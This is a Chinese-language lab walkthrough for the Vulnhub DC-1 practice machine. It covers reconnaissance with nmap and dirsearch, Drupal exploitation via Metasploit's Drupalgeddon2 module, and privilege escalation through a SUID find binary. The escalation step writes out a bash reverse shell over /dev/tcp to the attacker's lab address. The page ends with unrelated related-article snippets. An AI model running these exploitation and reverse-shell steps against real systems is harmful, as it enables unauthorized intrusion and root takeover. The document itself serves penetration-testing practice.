[Vulnhub靶机] DC-1

[Vulnhub靶机] DC-1靶机渗透思路及方法(个人分享)

靶机下载地址:

https://download.vulnhub.com/dc/DC-1.zip


靶机地址:192.168.67.28

攻击机地址:192.168.67.3


一、信息收集

1.使用 arp-scan 命令扫描网段内存活的主机,以获取靶机ip地址

arp-scan -I 指定网卡 -l

2.使用 nmap 工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口22、80、111及其服务ssh、http、rpcbind

nmap -sV -O 靶机地址

        -sV        探测主机服务版本

        -O         识别主机操作系统

3.访问网站,发现网站是Drupal网站,通过插件也可以查看出该网站是Drupal网站

Drupal是一个免费开源的内容管理系统(CMS),它允许个人和组织轻松创建和管理各种类型的网站,包括企业网站、博客、论坛、社交网络和电子商务平台等。Drupal提供了强大的功能和灵活的架构,使得用户可以根据自己的需求定制网站。

4.使用dirsearch工具扫描网站目录,得到多个可访问页面,但对多个网页进行访问之后没有发现能够利用到的信息

dirsearch -u 靶机URL -i HTTP响应码

        -u        指定目标URL

        -i         设置HTTP响应码的过滤条件

200响应码是最常见的成功响应码之一,它表示请求成功完成,服务器没有发生错误,并且返回了客户端期望的结果。例如,当你在浏览器中输入一个网址,成功加载网页时,通常会收到一个200响应码。

5.使用 searchsploit 工具对 Drupal CMS框架漏洞进行查询,翻找查看有用的信息,确定存在漏洞

二、漏洞利用

1.使用 msfconsole 命令进入 Metasploit 框架的命令行界面

msfconsole 是 Metasploit 框架的命令行界面,它提供了一个强大的工具集,用于开展渗透测试、漏洞利用和网络安全评估工作

2.使用 search 命令来搜索漏洞利用模块

3.经过测试发现 exploit/unix/webapp/drupal_drupalgeddon2 模块可以被利用,使用 use 命令来选择指定的漏洞利用模块

三、反弹shell

1.查看需要配置的参数,并对模块参数进行配置,并再次查看配置参数进行检查(要检查好确认配置成功)

show options                查看配置参数

set 属性名                    对参数进行配置

2.配置完成,运行命令获取目标靶机的shell,通过命令打开交互式界面

run或exploit        执行漏洞模块命令

run或exploit命令的区别:

        exploit命令用于选择并执行一个特定的漏洞利用模块。当你在Metasploit中找到了一个适合目标系统的漏洞利用模块后,你可以使用exploit命令来执行该模块,尝试利用目标系统上的漏洞。这个命令通常用于实际的攻击过程,以获取对目标系统的访问权限或控制权。

        run命令则用于执行当前已选定的模块或脚本。在Metasploit中,可以通过一系列的操作来选择并配置一个模块,然后使用run命令来执行该模块。这个命令通常用于执行各种辅助模块、扫描模块、信息收集模块等,并非直接用于实施攻击。

3.通过 shell 命令打开交互式界面

shell -t                打开交互式界面(在meterpreter界面执行)

shell -t 命令的作用是创建一个交互式的本地shell。这个命令允许用户在受感染的系统上执行命令,并与目标系统进行交互。

四、提权

1.使用 find 命令寻找suid程序,发现 find 命令具有 suid 权限

find / -perm -4000 2>/dev/null 或 find / -perm -u=s 2>/dev/null

        -perm         按照权限查找文件(4000、2000、1000分别表示SUID,SGID,SBIT权限,如777为普通文件最高权限,7000为特殊文件的最高权限)

使用find命令的时候在命令后加 2>/dev/null 将错误结果输出重定向到/dev/null中,/dev/null是一个特殊的设备文件,其实质为空设备文件,其大小是0字节,所有人都有读写权限,而其主要作用就是将接收的一切输出给它的数据并丢弃,就像垃圾桶,也被称为位桶(bit bucket)

2.尝试利用 find 命令执行 whoami 命令,发现成功以 root 权限执行

find `which find` -exec whoami \;

        -exec        在找到的每个文件上执行指定的命令(\;是-exec选项的一部分,表示命令结尾)

which find        查找 find 命令的文件路径

``在linux中可以用来执行命令,且会优先执行

3.在攻击机使用 nc 工具开启监听

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

4.利用 find 命令反弹shell进行提权,成功反弹shell

find `which find` -exec bash -ip >& /dev/tcp/192.168.67.3/7777 0>&1 \;

利用 find 命令调用 bash 进行反弹shell

bash -ip >& /dev/tcp/192.168.67.3/7777 0>&1

        -i                启动一个交互式的 bash shell

        -p               以特权模式启动 bash shell

/dev/tcp  打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

具体可查看:花一天时间搞懂反弹shell的命令!bash -i >& /dev/tcp/${HOST}/${PORT} 0>&1!-CSDN博客

5.使用命令查看当前用户,发现成功提权至 root 权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/245861.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QSqlQuery 执行Update 判断执行成功与否

1.执行更新操作的SQL语句 update s_info set name"009" where contact_number "13511112222" 怎么样判断是否确实更新操作是执行成功的 ,可以通过下列语句判断 query.numRowsAffected() > 0 2.主要的几步操作如下: QSqlQuery query;query.…

[git] windows系统安装git教程和配置

一、何为Git Git(读音为/gɪt/)是一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。 二、git安装包 有2种版本,Git for Windows Setup和Git for Windows Portable(便携版)两个版本都可以。 三、Git for Windows Por…

安装ddddocr中遇到的问题

1、需要先安装: pip3 install pyinstaller --no-use-pep517 pip install scikit-build pip install setuptools pip install pyinstaller pip install pillow 重要是的是保证一个python 环境,多个python环境会导致各种问题。并且保证python>3.8…

【SpringCloud Nacos】 微服务治理介绍及Nacos引入初体验

文章目录 前言服务治理介绍什么是服务治理1、服务发现2、服务配置3、服务健康检测 常见的注册中心ZookeeperEurekaConsulNacos Nacos 简介Nacos 实战入门搭建nacos环境1、安装nacos2、配置nacos3、访问nacos 将商品微服务注册到 nacos1、在 pom. xml 中添加 nacos 的依赖2、在主…

华为机考入门python3--(0)测试题1-句子平均重量

分类:字符串 知识点: 获取输入 input().strip().split(" ") 拼接列表 " ".join(list) 输出指定位数的浮点数 print("%.2f" % value) len() 函数对于很多内置的数据类型都适用,它返回对象的元素个数或长度。…

蓝凌OA sysUiExtend.do 任意文件上传漏洞复现

0x01 产品简介 蓝凌核心产品EKP平台定位为新一代数字化生态OA平台,数字化向纵深发展,正加速构建产业互联网,对企业协作能力提出更高要求,蓝凌新一代生态型OA平台能够支撑办公数字化、管理智能化、应用平台化、组织生态化,赋能大中型组织更高效的内外协作与管理,支撑商业…

附1:k8s服务器初始化

转载说明:如果您喜欢这篇文章并打算转载它,请私信作者取得授权。感谢您喜爱本文,请文明转载,谢谢。 关联文章: 《RKE快速搭建离线k8s集群并用rancher管理界面》 《附2:rke安装的k8s集群新增主机》 1.创建…

【Go 快速入门】安装 Go 语言 | 开发工具 Goland | 第一个 Go 语言程序

文章目录 前言安装 Go 语言编译器 Goland运行 Go 程序补充 前言 本系列教程,目的是帮助一个有其他编程基础的 Go 语言小白快速入门 Go 语言,而非启发式学习。每篇幅保证不说废话,尽可能精炼总结,为上手后续的 Go 相关项目打下基础…

php实现多进程的几种方式

目录 一:使用pcntl扩展库 二:使用Swoole扩展 三:使用多进程模式PHP-FPM 在PHP中实现多进程主要有以下几种方式: 一:使用pcntl扩展库 pcntl扩展库提供了多线程相关的函数,如pcntl_fork()用于创建子进程…

【C++干货铺】 RAII实现智能指针

个人主页点击直达:小白不是程序媛 C系列专栏:C干货铺 代码仓库:Gitee 目录 为什么需要智能指针? 内存泄漏 什么是内存泄漏,内存泄露的危害 内存泄漏的分类 堆内存泄漏(Heap leak) 系统资…

嵌入式学习-C++-Day2

嵌入式学习-CDay2 一、思维导图 二、作业 1.封装一个矩形类(Rect),拥有私有属性:宽度(width)、高度(height),定义公有成员函数:初始化函数:void init(int w, int h) 更改宽度的函数:set_w(int w) 更改高度的函数:set_h(int h) 输出该矩形的周长和面积函…

系统架构14 - 软件工程(2)

需求工程 软件需求两大过程三个层次业务需求(business requirement)用户需求(user requirement)功能需求 (functional requirement)非功能需求 概述活动阶段需求获取基本步骤获取方法 需求分析三大模型数据流图数据字典DD 需求定义需求验证需求管理需求基线变更控制过程变更控制…

Linux——服务器管理建议

1、学习Linux的注意事项 1.1、Linux严格区分大小写 Linux是严格区分大小写的,这一点和Windows不一样,所以操作时要注意区分大小写的不同,包括文件名和目录名、命令、命令选项、配置文件设置选项等。 1.2、Linux中所有内容以文件形式保存 …

SVM算法的python实现

1.随机生成几簇点 随机生成以(1,1,1)(5,5,5)(6,0,0)(10,10,10)(0&#xf…

【NodeJS JS】动态加载字体的各方式及注意事项;

首先加载字体这个需求基本只存在于非系统字体,系统已有字体不需要加载即可直接使用; 方案1:创建 style 标签,写入 font-face{font-family: xxx;src: url(xxx)} 等相关字体样式;将style标签添加到body里;方…

windows用mingw(g++)编译opencv,opencv_contrib,并install安装

windows下用mingw编译opencv貌似不支持cuda,选cuda会报错,我无法解决,所以没选cuda,下面两种编译方式支持。 如要用msvc编译opencv,参考我另外一篇文章 https://blog.csdn.net/weixin_44733606/article/details/1357…

操作系统--Linux虚拟内存管理

​一、什么是虚拟内存地址 收货地址是一个虚拟地址,它是人为定义的 而我们的城市,小区,街道是真实存在的,他们的地理位置就是物理地址 以 Intel Core i7 处理器为例,64 位和32位虚拟地址的格式为: 二、为什…

独立站怎么建设对seo好?

现如今市面上就有不少开源的建站程序可供挑选,哪怕你不懂技术,不懂代码,也能建自己的独立站,效果比不少所谓的用自己技术开发的站都要好,本身做一个网站不难,但你做网站的目的是什么?是为了在搜…

【代码随想录-数组】二分查找

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老导航 檀越剑指大厂系列:全面总结 jav…

JDWP原理分析与漏洞利用

JDWP(Java DEbugger Wire Protocol):即Java调试线协议,是一个为Java调试而设计的通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。说白了就是JVM或者类JVM的虚拟机都支持一种协议,通过该协议,Debugger 端可以和 target VM 通信,可以获取目标 VM的包括类…